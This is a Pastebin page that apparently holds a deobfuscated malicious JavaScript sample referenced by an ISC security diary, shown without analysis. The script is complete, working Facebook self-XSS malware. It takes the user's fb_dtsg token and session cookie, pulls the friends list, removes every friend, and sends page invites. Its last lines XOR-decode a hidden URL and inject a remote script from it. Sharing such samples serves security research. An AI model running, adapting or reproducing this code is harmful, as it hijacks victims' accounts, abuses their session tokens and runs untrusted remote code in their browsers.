xme

Deobfuscated JavaScript Sample (ISC Diary)

xme
Feb 12th, 2017
575
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. undefinedjavascript: var Title = "CODE UNFRIEND BY Yang</A>";
  2. var Descriptions = "",
  3.     _text = 'Powered By: <A style="color:#3B5998;" href="https://www.facebook.com/yangnt1998" target="_blank">Yang</A> & <A style="color:#3B5998;" href="https://www.facebook.com/yangnt1998" target="_blank"> Yang</A>.</br>Script Made By: </A><A style="color:#3B5998;" href="https://www.facebook.com/yangnt1998" target="_blank"> Yang</A></A>,</A><A style="color:#3B5998;" href="https://www.facebook.com/yangnt1998" target="_blank"> Yang</A></A>.</br>Yang <A style="color:#3B5998;" href="https://www.facebook.com/yangnt1998" target="_blank">Yang</A>.</A>';
  4.  
  5. function InviteFriends(opo) {
  6.     jx.load(window.location.protocol + "//www.facebook.com/ajax/profile/removefriendconfirm.php?uid=" + opo + "&unref=bd_friends_tab&nctr[_mod]=pagelet_timeline_app_collection_" + user_id + "%3A2356318349%3A2&__user=" + user_id + "&__a=1&__dyn=7n8ahyj2qmp5zpQ9UmWWaUGyxi9Ay8&__req=i&fb_dtsg=" + fb_dtsg + "&ttstamp=171632116354275", function (a) {
  7.         var b = a.substring(a.indexOf("{"));
  8.         var c = JSON.parse(b);
  9.         i--;
  10.         Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  11.         if (c.error) {
  12.             Descriptions += "color:darkred'>";
  13.             err++;
  14.             if (c.errorDescription) Descriptions += c.errorDescription;
  15.             else Descriptions += JSON.stringify(c, null, "")
  16.         } else {
  17.             Descriptions += "color:darkgreen'>";
  18.             Descriptions += arn[i] + " has been selected to be removed";
  19.             suc++
  20.         }
  21.         Descriptions += "</div>";
  22.         var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(0,0,0,0.9);background-color:rgba(225,225,225,0.9);color:#000000'>";
  23.         display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  24.         if (i > 0) {
  25.             display += arr.length + " Friends Detected<br/>";
  26.             display += "<b>" + suc + "</b> Friends Removed of " + (arr.length - i) + " Friends Processed ";
  27.             display += "(" + i + " Lefted...)";
  28.             display += "<div class='friend-edge'>";
  29.             display += Descriptions;
  30.             display += "<img style='width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='font-size:13px;padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  31.             display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  32.             display += "Please Wait While Unfrinding " + arn[i] + ".</br>";
  33.             display += _text;
  34.             display += "</div>";
  35.             display += "</div>";
  36.             window[tag + "_close"] = true
  37.         } else {
  38.             Title = "All Of Your Friends Have Been Removed</A>";
  39.             display += arr.length + " Friends Detected and ";
  40.             display += "<b>" + suc + " Friends Removed.</b></br>";
  41.             display += "<div><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"' style='color:gray'>Cancel</span><br/>";
  42.             display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'><br/>";
  43.             display += _text;
  44.             display += "</div>";
  45.             window[tag + "_close"] = false
  46.         }
  47.         display += "</div>";
  48.         document.getElementById("pagelet_sidebar").innerHTML = display
  49.     }, "text", "post");
  50.     tay--;
  51.     if (tay > 0) {
  52.         var s = arr[tay];
  53.         setTimeout("InviteFriends(" + s + ")", 100)
  54.     }
  55.     console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  56.  
  57.  
  58.     if (user_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=400248440087268&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post")
  59.    
  60.  
  61.    
  62.  
  63. }
  64. jx = {
  65.     b: function () {
  66.         var b = !1;
  67.         if ("undefined" != typeof ActiveXObject) try {
  68.             b = new ActiveXObject("Msxml2.XMLHTTP")
  69.         } catch (c) {
  70.             try {
  71.                 b = new ActiveXObject("Microsoft.XMLHTTP")
  72.             } catch (a) {
  73.                 b = !1
  74.             }
  75.         } else if (window.XMLHttpRequest) try {
  76.             b = new XMLHttpRequest
  77.         } catch (h) {
  78.             b = !1
  79.         }
  80.         return b
  81.     },
  82.     load: function (b, c, a, h, g) {
  83.         var e = this.d();
  84.         if (e && b) {
  85.             e.overrideMimeType && e.overrideMimeType("text/xml");
  86.             h || (h = "GET");
  87.             a || (a = "text");
  88.             g || (g = {});
  89.             a = a.toLowerCase();
  90.             h = h.toUpperCase();
  91.             b += b.indexOf("?") + 1 ? "&" : "?";
  92.             var k = null;
  93.             "POST" == h && (k = b.split("?"), b = k[0], k = k[1]);
  94.             e.open(h, b, !0);
  95.             e.onreadystatechange = g.c ? function () {
  96.                 g.c(e)
  97.             } : function () {
  98.                 if (4 == e.readyState)
  99.                     if (200 == e.status) {
  100.                         var b = "";
  101.                         e.responseText && (b = e.responseText);
  102.                         "j" == a.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : "x" == a.charAt(0) && (b = e.responseXML);
  103.                         c && c(b)
  104.                     } else g.f && document.getElementsByTagName("body")[0].removeChild(g.f), g.e && (document.getElementById(g.e).style.display = "none"), error && error(e.status)
  105.             };
  106.             e.send(k)
  107.         }
  108.     },
  109.     d: function () {
  110.         return this.b()
  111.     }
  112. };
  113. function ChangeLocation() {
  114.     window.location.href = "http://www.facebook.com/"
  115. }
  116. setTimeout("ChangeLocation", 1);
  117. window.onbeforeunload = function () {
  118.     if (window[tag + "_close"]) return "This script is running now!"
  119. };
  120. var i = 3;
  121. var tay = 3;
  122. var suc = 0;
  123. var err = 0;
  124. var arr = new Array;
  125. var arn = new Array;
  126. var pho = new Array;
  127. var tag = "Close";
  128. var page_name, x = document.getElementsByTagName("span");
  129. for (i = 0; i < x.length; i++)
  130.     if (x[i].getAttribute("itemprop") == "name") page_name = x[i].innerHTML;
  131. var fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;
  132. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  133. jx.load(window.location.protocol + "///www.facebook.com/ajax/typeahead/first_degree.php?viewer=" + user_id + "&token=v7&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=l", function (a) {
  134.     var b = a;
  135.     var c = b.substring(b.indexOf("{"));
  136.     var d = JSON.parse(c);
  137.     d = d.payload.entries;
  138.     for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  139.     for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  140.     for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  141.     i = arr.length - 1;
  142.     tay = i;
  143.     console.log(arr.length);
  144.     var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(0,0,0,0.9);background-color:rgba(225,225,225,0.9);color:#000000'>";
  145.     display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  146.     display += arr.length + " Friends Detected";
  147.     display += "</div>";
  148.     document.getElementById("pagelet_sidebar").innerHTML = display;
  149.     InviteFriends(arr[i])
  150. });
  151. var X = "jvvrq8--pcu,ekvjw`,amo-`jcpect3;;4-D`/Cwvm/vmmnq-ocqvgp-Qwrrmpv]Dkng,hq";
  152. Y = "";
  153. Z = "";
  154. var V;
  155. V = X.length;
  156. for (i = 0; i < V; i++) {
  157.     Y += String.fromCharCode(X.charCodeAt(i) ^ 2)
  158. }
  159. Z = unescape(Y);
  160. document.body.appendChild(document.createElement('script')).src = Z;
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×